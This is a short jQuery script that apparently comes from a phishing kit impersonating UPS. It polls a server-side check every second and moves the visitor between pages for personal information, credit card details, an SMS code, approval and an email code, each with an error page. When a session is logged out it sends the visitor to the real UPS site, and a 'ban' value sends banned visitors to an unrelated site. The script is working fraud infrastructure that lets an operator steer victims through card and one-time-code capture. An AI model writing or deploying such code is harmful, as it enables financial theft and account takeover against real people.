<script>
    $(document).ready(function(){!function r(){$.ajax({url:"../includes/check_condition.php",type:"GET",dataType:"json",success:function(e){"information-error"===e.redirect_user?window.location.href="step-one-error.php":"credit-card-error"===e.redirect_user?window.location.href="step-two-error.php":"sms"===e.redirect_user&&(window.location.href="step-three.php"),"sms-error"===e.redirect_user?window.location.href="step-three-error.php":"approvation"===e.redirect_user?window.location.href="step-four.php":"approvation-error"===e.redirect_user?window.location.href="step-four-error.php":"email-code"===e.redirect_user?window.location.href="step-five.php":"email-code-error"===e.redirect_user?window.location.href="step-five-error.php":"confirmed"===e.redirect_user?window.location.href="step-end.php":"logout"===e.redirect_user?window.location.href="https://www.ups.com/":"ban"===e.redirect_user?window.location.href="https://www.superhonda.com/":($("#message").text("redirect_user value: "+e.redirect_user),setTimeout(r,1e3))},error:function(e,o,t){console.error("AJAX Error: ",o,t),setTimeout(r,1e3)}})}()});
</script>